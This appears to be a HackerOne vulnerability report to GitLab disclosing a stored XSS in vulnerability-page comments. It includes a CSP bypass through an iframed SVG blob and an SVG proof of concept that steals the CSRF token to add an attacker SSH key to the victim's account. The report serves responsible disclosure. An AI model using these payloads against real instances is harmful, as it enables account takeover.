Stored XSS on the vulnerability page executing on gitlab.com
HackerOne report #882988 by xanbanx
on 2020-05-26, assigned to @vdesousa:
Hi GitLab Security Team,
Summary
I found a stored XSS vulnerability in the standalone vulnerability page, which also executes on gitlab.com.
GitLab recently added a standalone vulnerability page. This page allows to comment on vulnerabilities. Here, GitLab misses to escape the output leading to stored XSS vulnerability. Furthermore, with a CSP bypass, this XSS also triggers on gitlab.com.
Steps to reproduce
- Create new project
- Setup SAST so that there is one vulnerability in the project. For this POC you can just push the following
gl-sast-report.json
{
"version": "1.2",
"vulnerabilities": [
{
"category": "sast",
"name": "Predictable pseudorandom number generator",
"message": "Predictable pseudorandom number generator",
"cve": "groovy/src/main/java/com/gitlab/security_products/tests/App.groovy:47:PREDICTABLE_RANDOM",
"severity": "High",
"confidence": "Medium",
"scanner": {
"id": "find_sec_bugs",
"name": "Find Security Bugs"
},
"location": {
"file": "groovy/src/main/java/com/gitlab/security_products/tests/App.groovy",
"start_line": 47,
"end_line": 47,
"class": "com.gitlab.security_products.tests.App",
"method": "generateSecretToken2"
},
"identifiers": [
{
"type": "find_sec_bugs_type",
"name": "Find Security Bugs-PREDICTABLE_RANDOM",
"value": "PREDICTABLE_RANDOM",
"url": "https://find-sec-bugs.github.io/bugs.htm#PREDICTABLE_RANDOM"
}
],
"priority": "Medium",
"file": "groovy/src/main/java/com/gitlab/security_products/tests/App.groovy",
"line": 47,
"url": "https://find-sec-bugs.github.io/bugs.htm#PREDICTABLE_RANDOM",
"tool": "find_sec_bugs"
}
]
}
and the following gitlab-ci.yml
file:
test:
script:
- echo "Hello World"
artifacts:
reports:
sast: gl-sast-report.json
- This should create you a vulnerability, which is display on the Security Dashboard
- Open the detail page of the vulnerability and change the status to
Confirmed
, this will enable the commen section below. - Enter the comment
"><img src=x onerror=alert(document.domain)>
and save it - When reloading the page, this will trigger the XSS payload.
This example, uses a generic XSS payload, which is blocked on gitlab.com due to the deployed CSP.
However, I already reported a CSP bypass in #786753 and #824773, which can also be used here to let the XSS execute on gitlab.com
To get to that, do the these additional steps.
- Add a file
test.svg
to the repository with the following content:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg"
version="1.1" baseProfile="full"
width="700px" height="400px" viewBox="0 0 700 400">
<circle cx="125" cy="125" r="75" />
<script type="text/javascript">
alert(window.parent.document.domain)
</script>
</svg>
- Findout about the blob id by querying
https://gitlab.com/api/v4/projects/<project-id>/repository/tree
. This returns the repo tree containing an blob id for the filetest.svg
like this one:{"id":"bbac0b4ac29d5bab841f60bdf71d7ea3b91ca87f","name":"test.svg","type":"blob","path":"test.svg","mode":"100644"}
- Use the following XSS payload to comment on on the vulnerability:
"><iframe src='./../../../../../api/v4/projects/<project-id>/repository/blobs/bbac0b4ac29d5bab841f60bdf71d7ea3b91ca87f/raw'>
Don't forget to substitute the project id.
Attached see a screenshot of the XSS executed on gitlab.com:
Impact
The stored XSS is triggering for any user with developer access and above for the project. The PoC can easily be extended to steal the users CSRF token and to takeover the victim's account. For example, you can use the following PoC to add the attackers SSH key to the victim's account:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg"
version="1.1" baseProfile="full"
width="700px" height="400px" viewBox="0 0 700 400">
<circle cx="125" cy="125" r="75" />
<script type="text/javascript">
var csrf = window.parent.$('meta[name=csrf-token]').attr('content');
window.parent.$.post('/profile/keys', { 'authenticity_token': csrf, 'key[key]': 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUXhvMZ/BFqgVY4iWWv2lrs2alZHA6CoNcnZWH7gxObXGeFK89/itFbI8NrEDE291LRScBL1nuHs0xlf7uidf97uFGVMyIW8TKeaG/j5q6olr9ejiOZhiiGGkQZf1iSTV4VYN77EtG7iV62VB1ZbwnCau1xT5mlXbd8E4WzaHIxuOY8Ao8EozouaQzWt+I1xJx5rufVwItmTaX5QKV5Cuv8GhMRUb1UqujNKr22/rbWnut0pSzB1+uE4S4E1AaCNX9Byy0z65nzupk5kdj8y/qJ3pk8UBOgQtJCFEOwc42EHS3JwTeMRNRXs9bwqRJfXUomXL1LZ5Eua7UX7aQq7pf admin@foo.com', 'key[title]': 'admin@foo.com' });
</script>
</svg>
Due to the CSP bypass, this XSS is also triggering on gitlab.com and also has full impact for self managed instances.
What is the current bug behavior?
GitLab does not escape the comment of a vulnerability, thus allowing an XSS payload to execute.
What is the expected correct behavior?
GitLab should escape the comments of a vulnerability.
Output of checks
This bug happens on GitLab.com running on
Best regards,
Xanbanx
Impact
See above.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!